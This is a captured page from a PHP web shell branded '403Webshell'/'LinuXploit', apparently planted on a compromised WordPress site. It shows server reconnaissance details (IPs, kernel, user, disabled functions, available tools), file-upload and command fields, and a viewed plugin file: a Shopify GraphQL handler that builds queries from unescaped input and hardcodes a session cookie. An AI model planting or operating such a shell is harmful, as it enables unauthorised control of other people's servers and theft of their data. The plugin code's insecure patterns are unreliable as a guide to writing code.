403Webshell

Warning: set_time_limit() has been disabled for security reasons in /home/clients/1cf40b6e42225d1cefb5c94f9bec37da/web/wp-content/plugins/mage-eventpress/woocommerce-event-press.php on line 26
Server IP : 128.65.195.198  /  Your IP : 216.73.216.57
Web Server : Apache
System : Linux h2web174 4.9.0-0.bpo.12-amd64 #1 SMP Debian 4.9.210-1+deb9u1~deb8u1~bpo8+1 (2026-07-14) x86_64
User : uid131604 ( 131604)
PHP Version : 7.4.33
Disable Function : set_time_limit,passthru,exec,system,popen,shell_exec,proc_open,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/clients/1cf40b6e42225d1cefb5c94f9bec37da/web/wp-content/plugins/wp-shopify/inc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/clients/1cf40b6e42225d1cefb5c94f9bec37da/web/wp-content/plugins/wp-shopify/inc/graphql.php
<?php

	add_action( 'wp_ajax_wpsy_graphql_central', 'wpsy_graphql_central' );
	
	if(!function_exists('wpsy_graphql_central')){
		function wpsy_graphql_central($posted=array(), $inner=false){
			
			$posted = (empty($posted)?sanitize_wpsy_data($_POST):$posted);
			$id = (array_key_exists('id', $posted)?$posted['id']:0);
			$limit = (array_key_exists('limit', $posted)?$posted['limit']:10);

			if ( !$inner && ! wp_verify_nonce( $posted['nonce'], 'wpsy-nonce' )) {
				 die ( 'Busted!');
			}else{
			
				$graphql = (array_key_exists('query', $posted)?$posted['query']:'');
				
				if($graphql){
					
					$query = '{
								shop  {
									name
									description
								}
							 }';
					
					switch($graphql){
						case 'products':
							$query = '
{
  products(first: '.$limit.') {
    edges {
      node {
        id
        title
        productType
        variants(first: 2) {
          edges {
            node {
              id
              title
            }
          }
        }
        priceRange{
          maxVariantPrice{
            amount
            currencyCode
          }
          minVariantPrice{
            amount
            currencyCode
          }
        }
        featuredImage{
          url
        }
        images(first:10){
          edges{
            node{
              url
            }
            
          }
        }
      }
    }
  }
}

							
';
						break;
						case 'product':
							
							$query = '
{
  product(id:"gid://shopify/Product/'.$id.'"){
	id
	handle
    title
	description
	descriptionHtml
    featuredImage{
		url	
	}
    priceRange{
      maxVariantPrice{
        amount
		currencyCode
      }
      minVariantPrice{
        amount
		currencyCode
      }
      
    }
	images(first:10){
	  edges{
		node{
		  url
		}
		
	  }
	}	
    variants(first: 15) {
      edges {
        node {
          id
          sku
          title
		  priceV2{
            amount
            currencyCode
          }
          image{
            id
            url
          }
        }
      }
    }	
	options{
      id
      name
      values      
    }
	
  }
}
							
							';
						break;
						case 'collection':
							$query = '
						
	
	
{
  collection(id:"gid://shopify/Collection/'.$id.'"){
   id
    title
	handle
    description
    descriptionHtml
	image{
		  url
	}	
    products(first:'.$limit.'){
      edges{
        node{
          id
          title
		  handle
		  description
		  onlineStoreUrl
		priceRange{
		maxVariantPrice
		{
		  amount
		  currencyCode
		}
		minVariantPrice{
		  amount
		  currencyCode              
		}
		}
		featuredImage{
			url	
		}		  
        }
      }
    }
  }
  }
							';
							
						break;
						default:
							
						break;
					}
						

					 
					$wpsy_db_data = get_option('wpsy_db_data');
					$url = $wpsy_db_data['wpsy_url'];
					
					$storefront_access_token = $wpsy_db_data['wpsy_storefront_token'];
					
					$curl = curl_init();
					
					$curl_data = array(
						CURLOPT_URL => 'https://'.$url.'/api/2022-04/graphql.json',
						CURLOPT_RETURNTRANSFER => true,
						CURLOPT_ENCODING => '',
						CURLOPT_MAXREDIRS => 10,
						CURLOPT_TIMEOUT => 0,
						CURLOPT_FOLLOWLOCATION => true,
						CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
						CURLOPT_CUSTOMREQUEST => 'POST',
						CURLOPT_POSTFIELDS =>trim($query),
						CURLOPT_HTTPHEADER => array(
							'Content-Type: application/graphql',
							'X-Shopify-Storefront-Access-Token: '.$storefront_access_token,
							'Cookie: _secure_session_id=45097142f4293cac96d24a74e547f039'
						),
					);

					curl_setopt_array($curl, $curl_data);
					
					$response = curl_exec($curl);

					curl_close($curl);

					if($inner){
						$data = json_decode($response);
						
						$data = (empty($data)?'':$data->data);

						return $data;
					}else{
						echo $response;exit;
					}
				
				}
			
			}
		}
	}

Youez - 2016 - github.com/yon3zu
LinuXploit